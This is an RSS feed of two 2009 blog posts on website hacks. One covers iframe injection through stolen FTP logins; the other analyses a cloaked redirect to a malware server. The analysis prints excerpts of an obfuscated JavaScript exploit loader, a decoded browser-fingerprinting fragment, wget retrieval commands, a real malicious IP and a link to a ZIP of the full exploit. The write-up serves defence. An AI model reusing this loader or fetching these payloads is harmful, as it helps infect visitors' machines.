<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Şimşek Mert &#187; Hack</title>
	<atom:link href="http://www.simsekmert.com/wp/category/guvenlik/hack-guvenlik/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.simsekmert.com/wp</link>
	<description>Kişisel Web Sayfası</description>
	<lastBuildDate>Thu, 13 Jan 2011 09:10:00 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Solution to IFRAME and JAVA SCRIPT HACK</title>
		<link>http://www.simsekmert.com/wp/2009/04/solution-to-and-java-script-hack/</link>
		<comments>http://www.simsekmert.com/wp/2009/04/solution-to-and-java-script-hack/#comments</comments>
		<pubDate>Sat, 18 Apr 2009 21:59:44 +0000</pubDate>
		<dc:creator>Şimşek Mert</dc:creator>
				<category><![CDATA[Güvenlik]]></category>
		<category><![CDATA[Hack]]></category>
		<category><![CDATA[Web Siteleri]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[hidden iframe]]></category>
		<category><![CDATA[infected]]></category>
		<category><![CDATA[javascript]]></category>

		<guid isPermaLink="false">http://www.simsekmert.com/wp/?p=55</guid>
		<description><![CDATA[ How does this hacking takes place:
This hacking does not takes place by any PHP application vulnerability nor any kernel bug nor apache bug nor cpanel or Plesk bug. Those accounts files are affected whose FTP logins are leaked.
ONLY THOSE ACCOUNTS ARE HACKED WHOSE FTP LOGIN DETAILS ARE LEAKED AND ARE WITH HACKER !!!!

How it&#8217;s [...]]]></description>
			<content:encoded><![CDATA[<p><!-- / icon and title --> <!-- message --><span style="color: red;"><strong>How does this hacking takes place:</strong></span></p>
<p style="text-align: justify;">This hacking does not takes place by any PHP application vulnerability nor any kernel bug nor apache bug nor cpanel or Plesk bug. Those accounts files are affected whose FTP logins are leaked.</p>
<p style="text-align: justify;"><span style="color: red;"><strong>ONLY THOSE ACCOUNTS ARE HACKED WHOSE FTP LOGIN DETAILS ARE LEAKED AND ARE WITH HACKER !!!!</strong></span><br />
<span id="more-55"></span><br />
<strong>How it&#8217;s done</strong></p>
<p>This is a sophisticated operation, and the infection cycle is involved, but basically, the hacker(s) are setting up innocent looking sites (or using previously hacked sites where the owner is usually unaware of being compromised) and loading them with expensive hacking tools like Mpack. When someone visits that site, their browser is detected and attacked (browsers affected are IE, firefox and opera). The visitor is unaware that they may have a keylogger that sends the persons passwords ect to the hacker(s) and moves on. If the innocent visitor has an ftp or root password for any internet sites, the hackers use a program that goes to the persons site(s) and instantly adds the hidden <span class="highlight">iframe</span> to every index type page. This is why there seems to be no indication that the site has been compromised, as the hackers already have the ftp or root passwords to login. And since they have at least your account ftp pass, whatever permissions your folders and files are set to make no difference.</p>
<p>After they put the <span class="highlight">iframe</span> code into that person&#8217;s pages, anyone visiting that site will be redirected to the hackers infection site, where the person&#8217;s computer will be injected and infected. The hackers are depending on site owners not knowing their sites have been hacked so that the number of hacked sites will grow (as they have starting in Italy) into the tens of thousands&#8230; Please don&#8217;t think you can depend solely on your antivirus software to <span class="highlight">protect</span> your computer. It more than likely won&#8217;t help you. For $1000 dollars, the russian hacking bulletin boards are offering Mpack with 1 year support and a GUARANTEE that virus programs will not catch the keyloggers. SO, keep your virus program updated, but don&#8217;t depend on it completely!</p>
<p>This way this <span class="highlight">hack</span> is spreading fastly from one computer to another broadcasting the passwords to hackers.During my research in this, I even found some of the password files collected by the <span class="highlight">hack</span> on some of the hacked server, where they pass this password file to thier tool to add the code. In some cases Google bots picks this files and you can even find the login details of FTP accounts and Server root login details in google.</p>
<p><span style="color: red;">===============================================<br />
<strong>Solution:</strong><br />
===============================================</span></p>
<p><strong>For Server Administrators:</strong></p>
<p>If you are having this problem server wide then the only possibility is your root password is used for this. Just change the password and this <span class="highlight">HACK</span> WILL STOP</p>
<p><strong>For individual person owning just a domain and not server:</strong></p>
<p>If you are facing this problem and your administrator says its only your account, just change the FTP password and it will stop</p>
<p>You must have removed the code many times and it comes again, why ???<br />
As you dont change the FTP password. So change that first.</p>
<p>Just changing password is not complete solution but is the first step.<br />
Whats next, your password is leaked that means your computer is sending out the passwords, so I would suggest you to do a clean format first and then install any antivirus of spyware which you think could block it. But the best solution is to clean format the computer.</p>
<p><span style="color: red;">Just do the two things:</span></p>
<p>1) Change the FTP or root password of server<br />
2) Clean format the PC</p>
<p>and take care in future, you dont visit any of the virus links made by this <span class="highlight">hack</span>.<br />
Also to keep your password secure I would suggest you to use any password manager software.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.simsekmert.com/wp/2009/04/solution-to-and-java-script-hack/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>The website hack you’d never find&#8230;</title>
		<link>http://www.simsekmert.com/wp/2009/04/the-website-hack-you%e2%80%99d-never-find/</link>
		<comments>http://www.simsekmert.com/wp/2009/04/the-website-hack-you%e2%80%99d-never-find/#comments</comments>
		<pubDate>Sat, 18 Apr 2009 21:53:58 +0000</pubDate>
		<dc:creator>Şimşek Mert</dc:creator>
				<category><![CDATA[Güvenlik]]></category>
		<category><![CDATA[Hack]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hidden iframe]]></category>
		<category><![CDATA[infected]]></category>
		<category><![CDATA[protect]]></category>

		<guid isPermaLink="false">http://www.simsekmert.com/wp/?p=51</guid>
		<description><![CDATA[!!! Kendi makinenizde denemeyin.!!! Sisteminiz zarar görebilir&#8230;
Warning: do not try the URLs here unless your system is locked down properly. I suggest using a &#8220;virual machine&#8221;  (I use VMware) to test things like this. The hack itself is complicated, the system is simple &#8211; skip the complicated part if you&#8217;re in a hurry.

It all started [...]]]></description>
			<content:encoded><![CDATA[<p>!!! Kendi makinenizde denemeyin.!!! Sisteminiz zarar görebilir&#8230;</p>
<p><strong>Warning: do not try the URLs here unless your system is locked down properly. I suggest using a &#8220;virual machine&#8221;  (I use VMware) to test things like this. The hack itself is complicated, the system is simple &#8211; skip the complicated part if you&#8217;re in a hurry.</strong></p>
<p><span id="more-51"></span><br />
It all started with a <a href="http://groups.google.com/group/Google_Webmaster_Help-Requests/browse_thread/thread/3238914c52ff7b18">posting</a> like this:</p>
<blockquote><p>When I do a google search for [Jonathan Wentworth Associates] the first result is:</p>
<p><em>Jonathan Wentworth Associates, LTD<br />
Welcome to Jonathan Wentworth Associates, a respected resource for world-class orchestral soloists,<br />
conductors, opera, chamber music, chamber orchestras, &#8230;<br />
www.jwentworth.com/ &#8211; 19k &#8211; Cached &#8211; Similar pages &#8211; Note this</em></p>
<p>The: &#8220;Jonathan Wentworth Associates, LTD&#8221; is highlighted and is a link to the web site. If you place the mouse over the link, it shows http://www.jwentworth.com. However, if you click the link it immeately attempts to download the trojan. My McAfee immediatly blocked it.</p></blockquote>
<p>Looking at the page in question, it doesn&#8217;t appear to be hacked, it doesn&#8217;t appear to have any kind of scripts injected, etc. However, using LiveHTTPHeaders with Firefox, while doing the same steps (search, click on the top result) you see the following:</p>
<blockquote><p>GET / HTTP/1.1<br />
Host: www.jwentworth.com<br />
HTTP/1.x 302 Found<br />
Location: http://85.255.117.38/ind.htm?src=324&amp;surl=www.jwentworth.com&amp;sport=80&#8230;</p>
<p>GET /ind.htm?src=324&amp;surl=www.jwentworth.com&amp;sport=80&amp;suri=%2F HTTP/1.1<br />
Host: 85.255.117.38<br />
Referer: http://www.google.com/search?q=Jonathan+Wentworth+associates<br />
HTTP/1.x 302 Found<br />
Location: http://www.jwentworth.com/</p></blockquote>
<p>Without going through Google, the page is returned right away, just like it should. Search engine crawlers also get it like that. After the step through Google however, the site does a 302 redirect to some IP-Address and then returns to the original site. The average browser won&#8217;t see that, but if you&#8217;re quick you might spot it in the status-bar. A search engine crawler or any user who knew the address would get there without a redirect and not notice a thing.</p>
<p>Strange.</p>
<p>That&#8217;s something that deserves to be looked at more closely. What&#8217;s on that server? How could I be able to see it?</p>
<p>I had seen something similar a few months back which redirected me to an affiliate site the first time I went to that site through a Google referrer (in my case, the gmail.google.com referrer was enough). It would only trigger once per IP-Address. This looks like a similar hack.</p>
<p>When I was able to download the files, I had a nice collection of:</p>
<ul>
<li>an <strong>encrypted javascript</strong> file that downloaded exploits based on browser and operating system</li>
<li>an <strong>exploit</strong> from free-spy-cam.net</li>
<li>an <strong>affiliate sales</strong> page for an <strong>antivirus</strong> software. Oh the irony. &#8220;We just infected you, buy our antivirus to get clean.&#8221; That is, if that software isn&#8217;t infected with something else.</li>
<li>an affiliate signup link on that page</li>
</ul>
<p>A search engine crawler will never see these things. A user, coming in from Google, will get redirected and if the IP address is not known, it will trigger a few exploits based on the system the user has and then display an affiliate ad page. The next time the user comes, the redirect will happen but the normal page will be shown.</p>
<p><strong>Spotting the hack on your site</strong></p>
<p>It would be good to know how you could spot a hack like this on your site. In general, you wouldn&#8217;t be able to. You can check for this particular hack, but it might not trigger every time &#8230; not to mention that there are likely way too many hacks that you would need to check for.</p>
<p>A simple way to check for it would be to use wget to access the page, and check for strange redirects, eg:</p>
<blockquote><p>&gt;wget &#8211;user-agent Firefox &#8211;save-headers &#8211;referer &#8220;http://www.google.com/search?q=duuude&#8221; &#8220;http://www.jwentworth.com/&#8221;</p></blockquote>
<p>However, as mentioned, that might not work every time.</p>
<p><strong>The technical details</strong></p>
<p>(skip this part, if you are lost already <img class="wp-smiley" src="http://johnmu.com/wp-includes/images/smilies/icon_smile.gif" alt=":-)" /> )</p>
<p>The original spotting of the anomaly was using LiveHTTPHeaders with Firefox, while doing the steps: search, click on the top result. You see the following:</p>
<blockquote><p>GET / HTTP/1.1<br />
Host: www.jwentworth.com<br />
(&#8230;)<br />
Referer: http://www.google.com/search?q=Jonathan+Wentworth+associates</p>
<p>HTTP/1.x 302 Found<br />
Date: Thu, 23 Aug 2007 06:38:04 GMT<br />
Server: Apache/1.3.37 (Unix) mod_auth_passthrough/1.8 mod_log_bytes/<br />
1.2 mod_bwlimited/1.4 PHP/4.4.6 FrontPage/5.0.2.2635.SR1.2 mod_ssl/<br />
2.8.28 OpenSSL/0.9.7a<br />
Location: http://85.255.117.38/ind.htm?src=324&amp;surl=www.jwentworth.com&amp;sport=80&#8230;<br />
(&#8230; added space to prevent linking &#8230;)</p>
<p>GET /ind.htm?src=324&amp;surl=www.jwentworth.com&amp;sport=80&amp;suri=%2F HTTP/1.1<br />
Host: 85.255.117.38<br />
(&#8230;)<br />
Referer: http://www.google.com/search?q=Jonathan+Wentworth+associates<br />
HTTP/1.x 302 Found<br />
Date: Thu, 23 Aug 2007 06:38:05 GMT<br />
(&#8230;)<br />
Location: http://www.jwentworth.com/</p></blockquote>
<p>A strange redirect like that is a really bad sign. How can we check the URL that is given to see what they are sending? Apparently it can only be triggered once per IP-address and I had already used that chance earlier. In order to view the initial page, I had to find an IP address that was not yet registered with the remote server (at least that&#8217;s my explanation). I used a proxy server from one of the lists online. Using the proxy server and wget, I was able to access the page:</p>
<blockquote><p>&gt;set http_proxy=81.63.140.37:3128</p>
<p>&gt;wget &#8211;user-agent &#8220;Firefox&#8221; &#8211;save-headers &#8220;http://85.255.117.38/ind.htm?src=324&amp;surl=www.jwentworth.com&amp;sport=80&amp;suri=%2Findex%2Ehtml&#8221;</p>
<p>Connecting to 81.63.140.37:3128&#8230; connected.<br />
Proxy request sent, awaiting response&#8230; 200 OK<br />
Length: unspecified [text/html]<br />
20:43:23 (79.20 KB/s) &#8211; `ind.htm@src=324&amp;surl=www.jwentworth.com&amp;sport=80&amp;suri=%<br />
2Findex.html.2&#8242; saved [414]</p></blockquote>
<p>The page that was returned was a normal frameset:</p>
<div class="syntax_hilite">
<div id="html-1">
<div class="html">
<ol>
<li style="font-family: 'Courier New',Courier,monospace; font-weight: normal; font-style: normal; color: #3a6a8b;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;"><span style="color: #009900;"><a href="http://december.com/html/4/element/html.html"><span style="color: #000000; font-weight: bold;">&lt;HTML&gt;</span></a></span><span style="color: #009900;"><a href="http://december.com/html/4/element/head.html"><span style="color: #000000; font-weight: bold;">&lt;HEAD&gt;</span></a></span><span style="color: #009900;"><a href="http://december.com/html/4/element/title.html"><span style="color: #000000; font-weight: bold;">&lt;TITLE&gt;</span></a></span><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/TITLE&gt;</span></span><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/HEAD&gt;</span></span></div>
</li>
<li style="font-weight: bold; color: #26536a;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;"><span style="color: #009900;"><a href="http://december.com/html/4/element/frameset.html"><span style="color: #000000; font-weight: bold;">&lt;frameset</span></a> framespacing=<span style="color: #ff0000;">&#8220;0&#8243;</span> <span style="color: #000066;">border</span>=<span style="color: #ff0000;">&#8220;0&#8243;</span> <span style="color: #000066;">rows</span>=<span style="color: #ff0000;">&#8220;*,1&#8243;</span> <span style="color: #000066;">frameborder</span>=<span style="color: #ff0000;">&#8220;0&#8243;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span></div>
</li>
<li style="font-family: 'Courier New',Courier,monospace; font-weight: normal; font-style: normal; color: #3a6a8b;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;"><span style="color: #009900;"><a href="http://december.com/html/4/element/frame.html"><span style="color: #000000; font-weight: bold;">&lt;frame</span></a> <span style="color: #000066;">name</span>=<span style="color: #ff0000;">&#8220;m&#8221;</span> <span style="color: #000066;">src</span>=<span style="color: #ff0000;">&#8220;/site.htm?lng=1&amp;trg=cln&amp;oip=0&amp;trk=zszuyhbinthnpzt&#8221;</span> <span style="color: #000066;">scrolling</span>=<span style="color: #ff0000;">&#8220;no&#8221;</span> <span style="color: #000066;">noresize</span> <span style="color: #000066;">marginwidth</span>=<span style="color: #ff0000;">&#8220;0&#8243;</span> <span style="color: #000066;">marginheight</span>=<span style="color: #ff0000;">&#8220;0&#8243;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span></div>
</li>
<li style="font-weight: bold; color: #26536a;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;"><span style="color: #009900;"><a href="http://december.com/html/4/element/frame.html"><span style="color: #000000; font-weight: bold;">&lt;frame</span></a> <span style="color: #000066;">name</span>=<span style="color: #ff0000;">&#8220;b&#8221;</span> <span style="color: #000066;">src</span>=<span style="color: #ff0000;">&#8220;about:blank&#8221;</span> <span style="color: #000066;">marginwidth</span>=<span style="color: #ff0000;">&#8220;0&#8243;</span> <span style="color: #000066;">marginheight</span>=<span style="color: #ff0000;">&#8220;0&#8243;</span> <span style="color: #000066;">scrolling</span>=<span style="color: #ff0000;">&#8220;auto&#8221;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span></div>
</li>
<li style="font-family: 'Courier New',Courier,monospace; font-weight: normal; font-style: normal; color: #3a6a8b;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;"><span style="color: #009900;"><a href="http://december.com/html/4/element/noframes.html"><span style="color: #000000; font-weight: bold;">&lt;noframes&gt;</span></a></span><span style="color: #009900;"><a href="http://december.com/html/4/element/body.html"><span style="color: #000000; font-weight: bold;">&lt;BODY&gt;</span></a></span>Frames not supported by your browser.<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/BODY&gt;</span></span><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/noframes&gt;</span></span></div>
</li>
<li style="font-weight: bold; color: #26536a;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/frameset&gt;</span></span><span style="color: #009900;"><a href="http://december.com/html/4/element/body.html"><span style="color: #000000; font-weight: bold;">&lt;body&gt;</span></a></span><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/body&gt;</span></span><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/html&gt;</span></span></div>
</li>
</ol>
</div>
</div>
</div>
<p><!-- html-1--></p>
<p>The second frame was kind of funny, &#8220;about:blank&#8221;? The first one was a bit more interesting though: <strong>http://85.255.117.38/site.htm?lng=1&amp;trg=cln&amp;oip=0&amp;trk=zszuyhbinthnpzt</strong><br />
Notice the &#8220;trk&#8221; parameter.</p>
<p>Accessing that page with Opera within a VMware virtual machine running Windows 2000 (heh, paranoid is good), I was able to access that page. I saved it for analysis (and had Ethereal running on the side just to be sure). I tried to refresh and it returned 404. You could only view the page once.</p>
<p><img src="http://johnmu.com/wp-content/stuff/showhack.jpg" alt="showhack.jpg" /></p>
<p>Looking at the files you see some interesting things:</p>
<p>- an encrypted javascript file<br />
- an exploit from free-spy-cam.net<br />
- an affiliate sales page for the antivirus software<br />
- an affiliate signup link on that page</p>
<p>The <a href="http://johnmu.com/files/hack1_WARNING.zip">ZIP-File</a> contains a full copy of the files as downloaded by the Opera browser. Check the files at your own risk, they contain the full exploit.</p>
<p>The encrypted javascript file looks like this (pulled apart and reformatted; called &#8220;__cntr000.htm&#8221; in the ZIP file):</p>
<div class="syntax_hilite"><span class="langName">JavaScript:</span></p>
<div id="javascript-2">
<div class="javascript">
<ol>
<li style="font-family: 'Courier New',Courier,monospace; font-weight: normal; font-style: normal; color: #3a6a8b;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;">&lt;script language=JavaScript&gt;</div>
</li>
<li style="font-weight: bold; color: #26536a;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;"><span style="color: #003366; font-weight: bold;">function</span> dc<span style="color: #66cc66;">(</span>sed<span style="color: #66cc66;">)</span> <span style="color: #66cc66;">{</span></div>
</li>
<li style="font-family: 'Courier New',Courier,monospace; font-weight: normal; font-style: normal; color: #3a6a8b;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;">l=sed.<span style="color: #006600;">length</span>;</div>
</li>
<li style="font-weight: bold; color: #26536a;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;"><span style="color: #003366; font-weight: bold;">var</span> b=<span style="color: #800000;">1024</span>,i,j,r,p=<span style="color: #800000;">0</span>,s=<span style="color: #800000;">0</span>,w=<span style="color: #800000;">0</span>,t=Array<span style="color: #66cc66;">(</span><span style="color: #800000;">63</span>,<span style="color: #800000;">56</span>,<span style="color: #800000;">60</span>,<span style="color: #800000;">51</span>,<span style="color: #800000;">15</span>,<span style="color: #800000;">9</span>,<span style="color: #800000;">10</span>,<span style="color: #800000;">13</span>,<span style="color: #800000;">36</span> <span style="color: #66cc66;">(</span>&#8230;<span style="color: #66cc66;">)</span> <span style="color: #800000;">52</span>,<span style="color: #800000;">16</span><span style="color: #66cc66;">)</span>;</div>
</li>
<li style="font-family: 'Courier New',Courier,monospace; font-weight: normal; font-style: normal; color: #3a6a8b;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;">soot=sed;</div>
</li>
<li style="font-weight: bold; color: #26536a;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;"><span style="color: #000066; font-weight: bold;">for</span><span style="color: #66cc66;">(</span>j=Math.<span style="color: #006600;">ceil</span><span style="color: #66cc66;">(</span>l/b<span style="color: #66cc66;">)</span>;j&gt;<span style="color: #800000;">0</span>;j&#8211;<span style="color: #66cc66;">)</span> <span style="color: #66cc66;">{</span></div>
</li>
<li style="font-family: 'Courier New',Courier,monospace; font-weight: normal; font-style: normal; color: #3a6a8b;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;">r=<span style="color: #3366cc;">&#8221;</span>;</div>
</li>
<li style="font-weight: bold; color: #26536a;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;"><span style="color: #000066; font-weight: bold;">for</span><span style="color: #66cc66;">(</span>i=Math.<span style="color: #006600;">min</span><span style="color: #66cc66;">(</span>l,b<span style="color: #66cc66;">)</span>;i&gt;<span style="color: #800000;">0</span>;l&#8211;,i&#8211;<span style="color: #66cc66;">)</span> <span style="color: #66cc66;">{</span></div>
</li>
<li style="font-family: 'Courier New',Courier,monospace; font-weight: normal; font-style: normal; color: #3a6a8b;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;">saam=t<span style="color: #66cc66;">[</span>soot.<span style="color: #006600;">charCodeAt</span><span style="color: #66cc66;">(</span>p++<span style="color: #66cc66;">)</span>-<span style="color: #800000;">48</span><span style="color: #66cc66;">]</span>;</div>
</li>
<li style="font-weight: bold; color: #26536a;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;">sttp=saam&lt;&lt;s;w|=sttp;</div>
</li>
<li style="font-family: 'Courier New',Courier,monospace; font-weight: normal; font-style: normal; color: #3a6a8b;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;"><span style="color: #66cc66;">(</span>&#8230;<span style="color: #66cc66;">)</span></div>
</li>
<li style="font-weight: bold; color: #26536a;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;">dd1=<span style="color: #3366cc;">&#8220;document&#8221;</span>;</div>
</li>
<li style="font-family: 'Courier New',Courier,monospace; font-weight: normal; font-style: normal; color: #3a6a8b;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;">dd2=<span style="color: #3366cc;">&#8220;write(r)&#8221;</span>;</div>
</li>
<li style="font-weight: bold; color: #26536a;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;"><span style="color: #000066; font-weight: bold;">eval</span><span style="color: #66cc66;">(</span>dd1+<span style="color: #3366cc;">&#8220;.&#8221;</span>+dd2<span style="color: #66cc66;">)</span></div>
</li>
<li style="font-family: 'Courier New',Courier,monospace; font-weight: normal; font-style: normal; color: #3a6a8b;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;"><span style="color: #66cc66;">(</span>&#8230;<span style="color: #66cc66;">)</span></div>
</li>
<li style="font-weight: bold; color: #26536a;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;">dc<span style="color: #66cc66;">(</span><span style="color: #3366cc;">&#8220;AVbFxuGqAk7s5OpH (&#8230;) G2ovPVoP9dATq_&#8221;</span><span style="color: #66cc66;">)</span></div>
</li>
<li style="font-family: 'Courier New',Courier,monospace; font-weight: normal; font-style: normal; color: #3a6a8b;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;">&lt;/script&gt;</div>
</li>
</ol>
</div>
</div>
</div>
<p><!-- javascript-2--></p>
<p>The contents of the file are encrypted with some variation of Base64 encoding. You can decode the javascript by replacing:<br />
<em> eval(dd1+&#8221;.&#8221;+dd2)</em><br />
with<br />
<em> document.write(&#8221;&lt;xmp&gt;&#8221; + r + &#8220;&lt;/xmp&gt;&#8221;);</em></p>
<p>Doing that will display the full contents of the encrypted data (called &#8220;__cntr000-decoded.htm&#8221; in the ZIP file).</p>
<div class="syntax_hilite"><span class="langName">JavaScript:</span></p>
<div id="javascript-3">
<div class="javascript">
<ol>
<li style="font-family: 'Courier New',Courier,monospace; font-weight: normal; font-style: normal; color: #3a6a8b;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;"><span style="color: #66cc66;">(</span>&#8230;<span style="color: #66cc66;">)</span></div>
</li>
<li style="font-weight: bold; color: #26536a;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;"><span style="color: #003366; font-weight: bold;">var</span> WinOS=Get_Win_Version<span style="color: #66cc66;">(</span>IEversion<span style="color: #66cc66;">)</span>;</div>
</li>
<li style="font-family: 'Courier New',Courier,monospace; font-weight: normal; font-style: normal; color: #3a6a8b;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;">PatchList = clientInformation.<span style="color: #006600;">appMinorVersion</span>;</div>
</li>
<li style="font-weight: bold; color: #26536a;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;"><span style="color: #000066; font-weight: bold;">switch</span> <span style="color: #66cc66;">(</span>WinOS<span style="color: #66cc66;">)</span></div>
</li>
<li style="font-family: 'Courier New',Courier,monospace; font-weight: normal; font-style: normal; color: #3a6a8b;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;"><span style="color: #66cc66;">{</span></div>
</li>
<li style="font-weight: bold; color: #26536a;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;"><span style="color: #000066; font-weight: bold;">case</span> <span style="color: #3366cc;">&#8220;wXPw&#8221;</span>:</div>
</li>
<li style="font-family: 'Courier New',Courier,monospace; font-weight: normal; font-style: normal; color: #3a6a8b;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;">XP_SP2_patched=<span style="color: #800000;">0</span>;</div>
</li>
<li style="font-weight: bold; color: #26536a;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;">FullVersion=clientInformation.<span style="color: #006600;">appMinorVersion</span>;</div>
</li>
<li style="font-family: 'Courier New',Courier,monospace; font-weight: normal; font-style: normal; color: #3a6a8b;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;">PatchList=FullVersion.<span style="color: #006600;">split</span><span style="color: #66cc66;">(</span><span style="color: #3366cc;">&#8220;;&#8221;</span><span style="color: #66cc66;">)</span>;</div>
</li>
<li style="font-weight: bold; color: #26536a;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;"><span style="color: #000066; font-weight: bold;">for</span> <span style="color: #66cc66;">(</span><span style="color: #003366; font-weight: bold;">var</span> i=<span style="color: #800000;">0</span>; i &lt;PatchList.<span style="color: #006600;">length</span>; i++<span style="color: #66cc66;">)</span> <span style="color: #66cc66;">{</span> <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #66cc66;">(</span>PatchList<span style="color: #66cc66;">[</span>i<span style="color: #66cc66;">]</span>==<span style="color: #3366cc;">&#8220;SP2&#8243;</span><span style="color: #66cc66;">)</span> <span style="color: #66cc66;">{</span> XP_SP2_patched=<span style="color: #800000;">1</span>; <span style="color: #66cc66;">}</span> <span style="color: #66cc66;">}</span></div>
</li>
<li style="font-family: 'Courier New',Courier,monospace; font-weight: normal; font-style: normal; color: #3a6a8b;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;"><span style="color: #000066; font-weight: bold;">if</span> <span style="color: #66cc66;">(</span>XP_SP2_patched==<span style="color: #800000;">1</span><span style="color: #66cc66;">)</span> <span style="color: #66cc66;">{</span> ExploitNumber=<span style="color: #800000;">9</span>; <span style="color: #66cc66;">}</span></div>
</li>
<li style="font-weight: bold; color: #26536a;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;"><span style="color: #66cc66;">(</span>&#8230;<span style="color: #66cc66;">)</span></div>
</li>
<li style="font-family: 'Courier New',Courier,monospace; font-weight: normal; font-style: normal; color: #3a6a8b;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;">location.<span style="color: #006600;">href</span>=<span style="color: #3366cc;">&#8220;cnte-eshdvvw.htm?trk=zszuyhbinthnpzt&#8221;</span>;</div>
</li>
<li style="font-weight: bold; color: #26536a;">
<div style="font-family: 'Courier New',Courier,monospace; font-weight: normal;"><span style="color: #66cc66;">(</span>&#8230;<span style="color: #66cc66;">)</span></div>
</li>
</ol>
</div>
</div>
</div>
<p><!-- javascript-3--></p>
<p>It is yet another javascript that triggers an exploit based on the operating system (it even test for XP service pack 2) and browser that the user is using. The exploit is also tagged with the &#8220;trk&#8221; parameter and couldn&#8217;t be downloaded separately. You can bet that&#8217;s it&#8217;s not a picture of your favorite celebrity, however.</p>
<p><strong>Next steps</strong></p>
<p>You could follow these up with:</p>
<ul>
<li>Checking the <a href="http://whois.domaintools.com/85.255.117.38">whois of the payload-server</a> and notifying the hoster (in this case probable fruitless)</li>
<li>Checking the sales page, search for the affiliate ID and the setups running and complain to the affiliate networks about this webmaster</li>
<li>Mirror a copy of the original server for analysis</li>
<li>Obviously move to a different server, perhaps even a different hoster</li>
</ul>
<p><strong>Summary</strong></p>
<p>The hacker had managed to patch the server side code (most likely the Apache server) so that<br />
- search engines see the normal page<br />
- new users from search engines are hacked with several exploits and shown an ad for anti-virus software</p>
<p>Spotting something like this on your own sites is close to impossible. The search engine crawlers would not notice anything.</p>
<p>Recognizing something like this algorithmically on Google&#8217;s side would be possible with the Googlebar-data. Assuming all shown URLs are recorded, they could compare the URL clicked in the search results with the URL finally shown on the user&#8217;s browser (within the frames). At the same time, the setup could be used to detect almost any kind of cloaking.</p>
<p>Scary stuff.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.simsekmert.com/wp/2009/04/the-website-hack-you%e2%80%99d-never-find/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

